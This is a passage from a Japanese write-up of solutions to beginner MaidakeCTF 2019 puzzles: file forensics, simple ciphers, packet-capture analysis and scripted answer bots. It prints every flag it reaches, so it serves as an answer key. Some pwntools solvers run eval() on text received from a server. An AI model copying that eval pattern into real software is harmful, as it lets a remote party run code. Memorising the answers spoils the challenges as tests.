dPMCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4GBAEIL/CvZNWQM1vEznQ9cHKLzMGLn
pDrznAUVshiQSwRUAbJN+vw9kDNES/Ozf0zu+dccKbaC39U+TA/bsXKhHSN8i9I8
ztbKtqvPhuKW2Epdu2MRqxCET8QXTpcq7DipMBkQbfrXybSur2bczBf05gh4BZ6y
zdgbOV1UHHYdLJPT
-----END CERTIFICATE REQUEST-----
CSR ファイルのようです。とりあえず Base64 デコードしてみましょう。
$ python2
>>> '''MIIBuDCCASECAQAweDELMAkGA1UEBhMCSlAxEzARBgNVBAgMCk1haWRha2VDVEYx
... DTALBgNVBAcMBDIwMTkxRTBDBgNVBAoMPE1haWRha2VDVEZ7QXJlX3lvdV91bmRl
... cnN0YW5kaW5nX2hvd190aGVfY2VydGlmaWNhdGVfd29ya3M/fTCBnzANBgkqhkiG
... 9w0BAQEFAAOBjQAwgYkCgYEApPWQSdFx7yEusqRPwhleIgR4EveuMtir26LOrsZq
... e4DBK2RQ3rA2UD+y5J6poao7K9VsDQEu9M+Isw2MNW657MBXamGtKhnauXzjME4l
... bZLgCQI9Q//txkGkkfZN+P1i85SgilMgS0dHkw1FNL4t2zfu9L2bNZ7Vy1Kq5UVh
... dPMCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4GBAEIL/CvZNWQM1vEznQ9cHKLzMGLn
... pDrznAUVshiQSwRUAbJN+vw9kDNES/Ozf0zu+dccKbaC39U+TA/bsXKhHSN8i9I8
... ztbKtqvPhuKW2Epdu2MRqxCET8QXTpcq7DipMBkQbfrXybSur2bczBf05gh4BZ6y'''.decode('base64')
'0\x82\x01\xb80\x82\x01!\x02\x01\x000x1\x0b0\t\x06\x03U\x04\x06\x13\x02JP1\x130\x11\x06\x03U\x04\x08\x0c\nMaidakeCTF1\r0\x0b\x06\x03U\x04\x07\x0c\x0420191E0C\x06\x03U\x04\n\x0c<MaidakeCTF{Are_you_understanding_how_the_certificate_works?}0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa4\xf5\x90I\xd1q\xef!.\xb2\xa4O\xc2\x19^"\x04x\x12\xf7\xae2\xd8\xab\xdb\xa2\xce\xae\xc6j{\x80\xc1+dP\xde\xb06P?\xb2\xe4\x9e\xa9\xa1\xaa;+\xd5l\r\x01.\xf4\xcf\x88\xb3\r\x8c5n\xb9\xec\xc0Wja\xad*\x19\xda\xb9|\xe30N%m\x92\xe0\t\x02=C\xff\xed\xc6A\xa4\x91\xf6M\xf8\xfdb\xf3\x94\xa0\x8aS KGG\x93\rE4\xbe-\xdb7\xee\xf4\xbd\x9b5\x9e\xd5\xcbR\xaa\xe5Eat\xf3\x02\x03\x01\x00\x01\xa0\x000\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x81\x81\x00B\x0b\xfc+\xd95d\x0c\xd6\xf13\x9d\x0f\\\x1c\xa2\xf30b\xe7\xa4:\xf3\x9c\x05\x15\xb2\x18\x90K\x04T\x01\xb2M\xfa\xfc=\x903DK\xf3\xb3\x7fL\xee\xf9\xd7\x1c)\xb6\x82\xdf\xd5>L\x0f\xdb\xb1r\xa1\x1d#|\x8b\xd2<\xce\xd6\xca\xb6\xab\xcf\x86\xe2\x96\xd8J]\xbbc\x11\xab\x10\x84O\xc4\x17N\x97*\xec8\xa90\x19\x10m\xfa\xd7\xc9\xb4\xae\xaff\xdc\xcc\x17\xf4\xe6\x08x\x05\x9e\xb2'
フラグが得られました。
MaidakeCTF{Are_you_understanding_how_the_certificate_works?}
解凍できるかもしれません。
添付ファイル: flag.zip
flag.zip
を展開しようとしたところ、パスワードが必要だと言われました。とりあえず、どのようなファイルが存在しているか zipinfo
で確認しましょう。
$ zipinfo flag.zip
Archive: flag.zip
Zip file size: 454 bytes, number of entries: 2
-rw-a-- 2.0 fat 65 T- defN 19-Jul-21 15:23 flag/flag.txt
-rw-a-- 2.0 fat 0 t- stor 19-Jul-21 15:18 flag/UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV
2 files, 65 bytes uncompressed, 64 bytes compressed: 1.5%
UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV
という謎のファイルがあります。Base64 デコードすると Password is YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU
ということで、ZIP のパスワードがわかりました。
得られたパスワードを使うと flag.zip
を展開することができました。
MaidakeCTF{We_can_tell_what_files_are_included_without_unpacking}
この前、滝に行ってきました。
添付ファイル: problem.jpg
strings
で problem.jpg
に含まれる文字列を探すとフラグが得られました。
$ strings -a problem.jpg | grep CTF
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}
拡張子は間違えていないはずなのに開けません。
添付ファイル: flag.pdf
PDF ファイルのはずですが、開くことができません。xxd
でマジックナンバーがどうなっているか確認しましょう。
$ xxd flag.pdf | head f"
0000000: 0000 0000 0000 0000 0d0a 25b5 b5b5 b50d ..........%.....
0000010: 0a31 2030 206f 626a 0d0a 3c3c 2f54 7970 .1 0 obj..<</Typ
0000020: 652f 4361 7461 6c6f 672f 5061 6765 7320 e/Catalog/Pages
0000030: 3220 3020 522f 4c61 6e67 286a 612d 4a50 2 0 R/Lang(ja-JP
0000040: 2920 2f53 7472 7563 7454 7265 6552 6f6f ) /StructTreeRoo
0000050: 7420 3130 2030 2052 2f4d 6172 6b49 6e66 t 10 0 R/MarkInf
0000060: 6f3c 3c2f 4d61 726b 6564 2074 7275 653e o<</Marked true>
0000070: 3e2f 4d65 7461 6461 7461 2033 3120 3020 >/Metadata 31 0
0000080: 522f 5669 6577 6572 5072 6566 6572 656e R/ViewerPreferen
0000090: 6365 7320 3332 2030 2052 3e3e 0d0a 656e ces 32 0 R>>..en
マジックナンバーが消えています。先頭 8 バイトに 25 50 44 46 2D 31 2E 34
を入れると PDF を開くことができるようになり、フラグが得られました。
MaidakeCTF{Forging_a_magic_number_is_easy}
愚かなことをやってしまいました…
添付ファイル: problem.png
以下のように一見真っ白な画像が与えられました。
stegsolve.jar でパレットをランダムな色にしてみると、以下のようにフラグが得られました。
MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}
マリーゴールド…違うな、これは…!!
添付ファイル: marigold.png
マリーゴールドの写真が与えられました。binwalk
で他のファイルが埋め込まれていないか確認しましょう。
$ binwalk marigold.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1000 x 750, 8-bit/color RGBA, non-interlaced
256 0x100 Zlib compressed data, compressed
908893 0xDDE5D JPEG image data, JFIF standard 1.01
908923 0xDDE7B TIFF image data, big-endian, offset of first image directory: 8
JPEG が IEND チャンクの後ろにあるようです。抽出するとフラグが得られました。
MaidakeCTF{Marigold_is_cute}
間違って消してしまいました
添付ファイル: Deleted
Another image と同様に binwalk
に投げてみましょう。
$ binwalk Deleted
︙
6221224 0x5EEDA8 End of Zip archive, footer length: 22
7990348 0x79EC4C Zip archive data, at least v2.0 to extract, compressed size: 1030, uncompressed size: 1976, name: omake.txt
7991417 0x79F079 Zip archive data, at least v1.0 to extract, compressed size: 51200, uncompressed size: 51200, name: omori
binwalk -e Deleted
で以下のような内容の omake.txt
が抽出できました。
解いてくれてありがとう!
Thank You For Playing!
CyberChef
Recipe:To Base64
はじめまして、@uluvtuと申します!
簡単ですが、今回の問題の、作問するに当たって気をつけた部分とちょっとした解説を書かせていただきます。
(このファイルを何人見てくれるかわからないけど)
以下、気をつけた点
・ZIPファイルのマジックナンバーを消す
・できるだけ本来の趣旨であるTestDiskを使ってほしいので、ファイルが断片化するようにしてみる
(EXT4の仕様を調べ尽くしたわけではないので、ちゃんと出来てるかはわからない)
・/dev/urandomとddを使って中身がランダムなファイルをたくさん生成してわかりづらくする
ぶっちゃけ、パーティションテーブル修復しなくてもオフセット指定してマウントでなんとかなっちゃうとこはあるけど
想定解としては、
TestDiskでGPTを修復→ファイル取り出し→マジックナンバー補完→解凍→フラグGET
みたいな感じです。
これ以外の解き方を思いついた方は、私に教えていただけると私が喜びます(`・ω・´)
ちなみに、このファイルを作った理由は、ZIPファイルの容量稼ぎだったりします(断片化させるため)
こんな感じですが、解いていただきありがとうございました。
「ZIPファイルのマジックナンバーを消」しているということなので、先頭数バイトが null バイト等になっている ZIP を探せばよさそうです。バイナリエディタで Deleted
を開いて 00 00 03 04 14 03 00 00
を検索してみると 1 件見つかりました。これを抽出して展開してみましょう。
$ python2
>>> s = open('Deleted', 'rb').read()
>>> open('res.zip', 'wb').write(b'PK' + s[s.index(b'\0\0\3\4\x14\3\0\0')+2:])
7-Zip で res.zip
を無理やり展開することができました。
MaidakeCTF{TestDisk_is_very_very_useful}
Flagをある法則に従って隠しました。
添付ファイル: flag.png, table.png
table.png
は以下のような画像でした。
このテーブルに従って、flag.png
の各ピクセルから情報を抽出していきましょう。
from PIL import Image
# table[R][G][B]
table = [
[],
[' .?01', '23456', '789ab', 'cdefg', 'hijkl'],
['mnopq', 'rstuv', 'wxyzA', 'BCDEF', 'GHIJK'],
['LMNOP', 'QRSTU', 'VWXYZ', '[\\]^_', '`{|}!']
]
im = Image.open('flag.png')
pix = im.load()
w, h = im.size
res = ''
for y in range(h):
for x in range(w):
r, g, b, _ = pix[x, y]
r %= 4
g %= 5
b %= 5
if not(1 <= r <= 3 and 0 <= g <= 4 and 0 <= b <= 4):
continue
res += table[r][g][b]
print(res[:res.index('}')+1])
$ python solve.py
MaidakeCTF{We_can_hide_various_things_in_the_image}
フラグが得られました。
MaidakeCTF{We_can_hide_various_things_in_the_image}
Flagを暗号化しました。
添付ファイル: flag.txt
flag.txt
は以下のような内容でした。
TWFpZGFrZUNURntiYXNlNjRfaXNfbm90X2FfY2lwaGVyfQ==
Base64 デコードするとフラグが得られました。
MaidakeCTF{base64_is_not_a_cipher}
なんだかアレっぽいですね。
添付ファイル: flag.txt
flag.txt
は以下のような内容でした。
ZnvqnxrPGS{Pnrfne_rapelcgvba_vf_rnfl_gb_penpx}
なんだかシーザー暗号っぽいですね。ROT13 でフラグが得られました。
MaidakeCTF{Caesar_encryption_is_easy_to_crack}
今時珍しい方法かもしれません。
添付ファイル: flag.txt
flag.txt
は以下のような内容でした。
6↑2444325533222↑8↑333↑{444↑66788→8_2224427772→222833777→7777_666→66_333→3328→8877733_744666→66337777_4447777_87776668822555337777666→633}
数字と矢印は文字をエンコードしたもの、_
や {
のような文字はエンコードできずそのまま残されたものでしょう。同じ数字を複数回打つとアルファベットになるものといえば、トグル入力です。↑
は MaidakeCTF{…}
というフラグフォーマットから考えると直前に入力した文字を大文字にするという意味で、→
は、トグル入力では (アルファベットの範囲では) 最大で 4 回しか同じ数字が連続で出現しないことから、そこで現在の入力を確定するという意味であることが推測できます。
では、デコードするスクリプトを Python で書きましょう。
# coding: utf-8
import re
with open('flag.txt', 'rb') as f:
s = f.read().decode('utf-8')
table = [
'', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz'
]
res = ''
for m in re.findall(r'([0-9])(\1*)(↑?)|(.)', s):
if m[3] == '':
x = m[0] + m[1]
c = table[int(x[0])][len(x) - 1]
res += c.upper() if m[2] == '↑' else c
elif m[3] == '→':
continue
else:
res += m[3]
print(res)
$ python solve.py
MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}
フラグが得られました。
MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}
うっかり秘密鍵を無くしてしまいました…
添付ファイル: problem.py, result.txt
problem.py
は以下のような内容でした。
#import FLAG from FLAGS
#import SECRET_KEY from SECRET_KEYS
def encrypt(plane_text, secret_key):
cipher_text = ""
for pt, key in zip(plane_text, secret_key):
cipher_num = ord(pt) ^ ord(key)
cipher_text += format(cipher_num, '02x')
return cipher_text
def padding(plane_text):
pt_l = len(plane_text)
if pt_l == 50:
return plane_text
else:
plane_text += "%" * (50 - pt_l)
return plane_text
def main():
secret_key = SECRET_KEY
plane_text = padding(FLAG)
cipher_text = encrypt(plane_text, secret_key)
with open("result.txt", 'a') as f:
f.write("FLAG result: " + FLAG)
if __name__ == "__main__":
main()
平文が 50 文字になるまで %
で埋め、これと SECRET_KEY
を XOR したものを出力する Python スクリプトのようです。
result.txt
は以下のような内容でした。
FLAG result: 140e1c3b020a0b1c3f28142e3001370e311f1b3e1a0d3a2b0610152d160a000d1d1c072b1d0b16001c033c2a2a26224e405c
message: I_may_lose_my_secret_key_before_long.
message result: 1030183e1a3e0230180b301a262b1b003c020915310e3a0d3a1a1139181b1137031a1a385a4d407a5640465740517a4e405c
FLAG result
はフラグを暗号化したもの、message result
は同じ SECRET_KEY
で message
を暗号化したものでしょう。message
と message result
を利用して SECRET_KEY
を特定し、これを使って FLAG
を復号しましょう。
$ python2
>>> from pwn import *
>>> m1 = '1030183e1a3e0230180b301a262b1b003c020915310e3a0d3a1a1139181b1137031a1a385a4d407a5640465740517a4e405c'.decode('hex')
>>> e1 = 'I_may_lose_my_secret_key_before_long.'.ljust(50, '%')
>>> e2 = '140e1c3b020a0b1c3f28142e3001370e311f1b3e1a0d3a2b0610152d160a000d1d1c072b1d0b16001c033c2a2a26224e405c'.decode('hex')
>>> secret_key = xor(m1, e1)
>>> print xor(e2, secret_key)
MaidakeCTF{You_know_the_characteristics_of_XOR}%%%
>>>
フラグが得られました。
MaidakeCTF{You_know_the_characteristics_of_XOR}
艦これには20個のサーバーがあります。
添付ファイル: problem.py, result.txt
problem.py
は以下のような内容でした。
#coding: utf-8
import hashlib
from FLAG import FLAG
kancolle_server = ['横須賀鎮守府','呉鎮守府','佐世保鎮守府','舞鶴鎮守府','大湊警備府','トラック泊地','リンガ泊地','ラバウル基地','ショートランド泊地','ブイン基地','タウイタウイ泊地','パラオ泊地','ブルネイ泊地','単冠湾泊地','幌筵泊地','宿毛湾泊地','鹿屋基地','岩川基地','佐伯湾泊地','柱島泊地']
md5_server = [hashlib.md5(server.encode()).hexdigest() for server in kancolle_server]
key = 0
for md5 in md5_server:
for moji in md5:
key += ord(moji)
enc_flag = ''
for moji in FLAG:
to_ord = key // ord(moji)
enc_flag += chr(to_ord)
with open('result.txt', 'w') as f:
f.write(enc_flag)
key
が常に同じであることを利用して、デコードする Python スクリプトを書きましょう。
key = 44321
enc = [ord(c) for c in open('result.txt','rb').read().decode('utf-8')]
table = {}
for c in range(0x20, 0x7f):
table[key // c] = c
print(table)
res = ''
for c in enc:
res += chr(table[c])
print(res)
$ python solve.py
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}
物騒なフラグが得られました。
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}
彼の素晴らしいスピーチが何者かに暗号化されてしまいました!
添付ファイル: problem.txt
problem.txt
は以下のような内容でした。
#######################################
#### ####
#### THIS FLAG IS ENCRYPTED ####
#### ####
#######################################
McstcpjCTF{Ssykzj_dgldfsfgfshy_wsvmjud_cuj_yhf_ajux_dfuhyk_ljwcgdj_fmjx_wcy_lj_vcudjt_lx_rujigjywx_cyczxdsd}
----------------------------------------------------------------
I co mhyhujt fh lj nsfm xhg fhtcx cf xhgu whoojywjojyf ruho hyj hr fmj rsyjdf gysajudsfsjd sy fmj nhuzt.
I yjaju kuctgcfjt ruho whzzjkj.
Tugfm lj fhzt, fmsd sd fmj wzhdjdf I’aj jaju khffjy fh c whzzjkj kuctgcfshy.
Thtcx I ncyf fh fjzz xhg fmujj dfhusjd ruho ox zsrj.
Tmcf’d sf.
Nh lsk tjcz.
Jgdf fmujj dfhusjd.
Tmj rsudf dfhux sd clhgf whyyjwfsyk fmj thfd.
︙
恐らく単一換字式暗号でしょうが、フラグが暗号化された部分の McstcpjCTF
等を見ると、置換されているのは小文字だけで大文字はそのままであることが推測できます。大文字を除いて quipqiup に投げると復号できました。
MaidakeCTF{Single_substitution_ciphers_are_not_very_strong_because_they_can_be_parsed_by_frequency_analysis}
違うのに同じ?同じなのに違う?
(URL)
与えられた URL にアクセスすると、以下のようにファイルをアップロードできるフォームが表示されました。
︙
<section class="bs-docs-section clearfix">
<div class="row">
<div class="col-12">
<form method="POST" enctype="multipart/form-data">
<div class="w-100 text-center">
<input type="file" name="file_1" class="py-2">
</div>
<div class="w-100 text-center mb-5">
<input type="file" name="file_2" class="py-2">
</div>
<p class="text-center"><button type="submit" class="w-50 py-2 mt-5" name="compare">比較</button></p>
</form>
</div>
</div>
</section>
︙
違う内容で同じ SHA-1 ハッシュになる 2 つのファイルをアップロードすればよいのでしょう。SHAttered から 2 つの PDF をダウンロードし、アップロードするとフラグが得られました。
MaidakeCTF{It_is_a_little_hard_to_create_a_file_where_SHA-1_collides}
秘密鍵手に入れちゃったけどどうしよう…
添付ファイル: problem.png, secret.txt
problem.png
は以下のような画像でした。
AES や DES のようなブロック暗号の ECB モードで画像を暗号化したのでしょう。secret.txt
には Secret key : this_a_secretkey
と、この画像を暗号化するのに使われた鍵が書かれていました。
この PNG ファイルにはアルファチャンネルも含まれていますが、適当な画像編集ソフトで確認すると全てのピクセルの透明度が 255 であることがわかります。RGB だけを取り出して AES の ECB モードで復号しましょう。
import io
from Crypto.Cipher import AES
from PIL import Image
im1 = Image.open('problem.png').convert('RGB')
aes = AES.new(b'this_a_secretkey', AES.MODE_ECB)
decrypted = aes.decrypt(im1.tobytes())
im2 = Image.frombytes('RGB', im1.size, decrypted)
im2.save('result.png')
im2.show()
フラグが得られました。
MaidakeCTF{AES-ECB_mode_is_Vulnerable}
丸見えです。
添付ファイル: problem.pcapng
Wireshark で problem.pcapng
を開くと、以下のような HTTP 通信がありました。
GET /flag.html HTTP/1.1
Host: 192.168.10.117
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
If-None-Match: "1d4-58e69aca8b0c0-gzip"
If-Modified-Since: Wed, 24 Jul 2019 09:10:03 GMT
HTTP/1.1 200 OK
Date: Wed, 24 Jul 2019 09:10:31 GMT
Server: Apache/2.4.25 (Raspbian)
Last-Modified: Wed, 24 Jul 2019 09:10:03 GMT
ETag: "1d4-58e69aca8b0c0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 320
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Flag</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
</head>
<body>
MaidakeCTF{Wireshark_is_very_useful}
</body>
</html>
フラグが得られました。
MaidakeCTF{Wireshark_is_very_useful}
これはよくないですねぇ…
丸見えですよ。添付ファイル: problem.pcapng
Wireshark で problem.pcapng
を開くと、以下のような HTTP 通信がありました。
GET /problems/http/See-through_Auth/ HTTP/1.1
Host: maidakectf2019.aokakes.work
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
Cookie: session=1bc8d77d-6c86-472a-8bb2-a125d888dc78; PHPSESSID=1n8jaeb6q2ekrj7vlg4l89fv47
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Sep 2019 07:39:01 GMT
Content-Type: text/html
Content-Length: 606
Connection: keep-alive
WWW-Authenticate: Basic realm="Please enter your ID and password"
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
GET /problems/http/See-through_Auth/ HTTP/1.1
Host: maidakectf2019.aokakes.work
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic b2x1cmk6eFl3UXAyWkNxQmZNczJ1QmQ3WGhMNWNjamdKVDJGaHJxV0ZQdXg2eA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
Cookie: session=1bc8d77d-6c86-472a-8bb2-a125d888dc78; PHPSESSID=1n8jaeb6q2ekrj7vlg4l89fv47
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Sep 2019 07:39:06 GMT
Content-Type: text/html
Last-Modified: Wed, 11 Sep 2019 07:38:26 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"5d78a472-17"
Content-Encoding: gzip
Please access to here.
https://maidakectf2019.aokakes.work/problems/http/See-through_Auth/ にアクセスすると、認証なしでフラグが得られました。
MaidakeCTF{Basic_authentication_is_easy_to_implement_but_there_are_various_problems}
オオルリさんから皆さんへのメッセージを頂いたのですが、保存し忘れてしまいました。
ログはこちらにあるのですが…
添付ファイル: problem.pcapng
Wireshark で problem.pcapng
を開いて pcap に変換し、NetworkMiner に投げると voice.wav.x-wav
という WAVE ファイルが抽出できました。適当なプレイヤーで再生すると、フラグが 1 文字ずつ読み上げられました。
MaidakeCTF{Wireshark_can_export_files_exchanged_during_communication}
これがどんな画像かわかりますか?
添付ファイル: problem.png
problem.png
は以下のような内容でした。
file
でどのような PNG ファイルか確認しましょう。
$ file problem.png
problem.png: PNG image data, 256 x 5, 8-bit grayscale, non-interlaced
8 ビットのグレースケールの PNG のようです。バイト列にしましょう。
from PIL import Image
im = Image.open('problem.png')
with open('res.bin', 'wb') as f:
f.write(im.tobytes())
$ python extract.py
$ file res.bin
res.bin: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
どうやらパケットをキャプチャしたファイルを画像化したもののようです。Wireshark に投げると、以下のような HTTP 通信が確認できました。
GET /flag.php HTTP/1.1
Host: ctf.server-boujin.net
Connection: Keep-Alive
Accept-Encoding: gzip
CF-IPCountry: JP
X-Forwarded-For: 0.0.0.0
CF-RAY: 514198f85a84d9fc-SIN
X-Forwarded-Proto: http
CF-Visitor: {"scheme":"http"}
User-Agent: curl/7.58.0
Accept: */*
X-My-Will: I_want_th3_f1ag_!
CF-Connecting-IP: 0.0.0.0
CDN-Loop: cloudflare
HTTP/1.1 200 OK
Server: nginx/1.17.0
Date: Tue, 10 Sep 2019 13:02:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.6
62
Congrats ! The flag is : MaidakeCTF{hogehogehogehogehogehogehogehogehogehoge}
0
curl
でこの通信を再現するとフラグが得られました。
$ curl http://ctf.server-boujin.net/flag.php -A "curl/7.58.0" -H "X-My-Will: I_want_th3_f1ag_!"
Congrats ! The flag is : MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}
MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}
ちょっとこれだと読めませんね。なんとかしてください。
添付ファイル: flag.pl
flag.pl
は以下のような内容でした。
#!/usr/bin/perl -w
oct oct hex ord q pop and print chr ord uc q rmdir and print chr ord q each ne and print chr ord q sin s and print chr ord qw q die q and print chr ord q each le and print chr ord q mkdir m and print chr ord q ne sin and print chr ord uc q lc eval and print chr ord uc q gt log and print chr ord uc qw q for q and print chr length q q write getc exp split uc closedir while msgctl lcfirst delete fileno chop while sysread send rmdir or dump accept last sin q and print chr ord q split s and print chr ord q open do and print chr ord q ref or and print chr ord qw q not q and print chr ord q lc eval and print chr ord q local and print chr ord qw q die q and print chr ord q ge log and print chr oct hex ord uc q my m and print chr ord q lc eval and print chr ord q xor x and print chr ord qw q not q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord qw q sin q and print chr ord q gt log and print chr ord qw q s q and print chr oct hex ord uc qw q y q and print chr ord q xor x and print chr ord qw q not q and print chr ord qw q lc q and print chr ord q my alarm and print chr oct hex ord uc qw q y q and print chr ord q local and print chr ord qw q fcntl q and print chr oct hex ord uc qw q y q and print chr ord q open no and print chr ord q ne sin and print chr ord q qr eq and print chr ord qw q le q and print chr oct hex ord uc q my m and print chr ord q or no and print chr ord q ref or and print chr ord q msgctl m and print chr ord q ne sin and print chr ord q or no and print chr ord q eval ne and print chr ord q ge log and print chr ord qw q dump q and print chr oct hex ord uc q my m and print chr ord q qw eq and print chr ord q local and print chr ord q or no and print chr ord qw q do q and print chr ord qw q sin q and print chr oct oct hex ord q ge log
pl
という拡張子と shebang から Perl のコードであると分かります。実行してみましょう。
$ perl flag.pl
llegal octal digit '8' ignored at flag.pl line 2.
MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}
フラグが得られました。
MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}
自分でやるか、やらないかの2択です。
nc (省略)
与えられた接続情報を使って問題サーバに接続してみましょう。
$ nc (省略)
Please calculate (All 50 problems).
77 + 98
>>175
44 + 99
>>
50 問計算すればよいようです。Python で自動化しましょう。
from pwn import *
s = remote('localhost', 15410)
s.readline()
for _ in range(50):
s.readline()
t = s.readline()
s.readuntil('>>')
s.sendline(str(eval(t)))
print t, eval(t)
s.interactive()
$ python2 solve.py
︙
86 - 51
35
65 + 85
150
2 - 94
-92
76 + 57
133
56 + 0
56
10 - 8
2
[*] Switching to interactive mode
Congratulations!
The Flag is MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}
[*] Got EOF while reading in interactive
フラグが得られました。
MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}
これでFlagが作れると思ったら全然処理が終わりません。なぜでしょうか。
添付ファイル: problem.py
problem.py
は以下のような内容でした。
import sys
sys.setrecursionlimit(100000)
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
in_flag = str(fib(8192))[:40]
print ("MaidakeCTF{"+in_flag+"}")
8192 番目のフィボナッチ数を求めればよいようです。再帰のままでは大変時間がかかりそうなので、ループで書き直しましょう。
def fib(n):
a, b = 0, 1
for _ in range(n):
a, b = b, a + b
return a
in_flag = str(fib(8192))[:40]
print ("MaidakeCTF{"+in_flag+"}")
$ python solve.py
MaidakeCTF{4756241803154148324967643192669456886214}
フラグが得られました。
MaidakeCTF{4756241803154148324967643192669456886214}
Flagは確かにそこにある。
(URL)
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
︙
<script type="text/javascript">
$.post('flag.php').done(function(data) {
flag = data;
});
</script>
︙
flag.php
に POST してその内容を flag
に格納したのはいいものの、どこにも出力されていません。幸い flag
はグローバル変数なので、DevTools の Console で flag
と入力するとフラグが得られました。
MaidakeCTF{We_can_output_javascript_variables_with_the_developer_tool_even_if_it_is_not_output_to_the_browser}
このあたりから機械の領分かもしれません。
nc (省略)
与えられた接続情報を使って問題サーバに接続してみましょう。
$ nc (省略)
Please calculate.
But division must be truncated to an integer.
579368659 + 524707900
>>
Calculator と同じように自動化しましょう。
from pwn import *
s = remote('localhost', 17270)
s.readline()
s.readline()
for _ in range(500):
s.readline()
t = s.readline()
s.readuntil('>>')
s.sendline(str(eval(t)))
print t, eval(t)
s.interactive()
$ python2 solve.py
︙
666820959 * 526834571
351304333868573589
99592993 / 64701084
1
831806882 / 725767198
1
165495261 + 964429316
1129924577
941156737 + 822783313
1763940050
825587600 + 977175709
1802763309
622873544 + 247919424
870792968
[*] Switching to interactive mode
Congratulations!
The Flag is MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}
[*] Got EOF while reading in interactive
フラグが得られました。
MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}
アレをやるだけです。
添付ファイル: flag
問題名の通り、strings
でバイナリ中に存在している文字列を探しましょう。
$ strings -a flag | grep CTF
MaidakeCTF{It_is_a_promise_to_execute_strings}
Welcome to MaidakeCTF.
フラグが得られました。
MaidakeCTF{It_is_a_promise_to_execute_strings}
合言葉をお願いします。
添付ファイル: problem
problem
がどのようなファイルか確認しましょう。
$ file problem
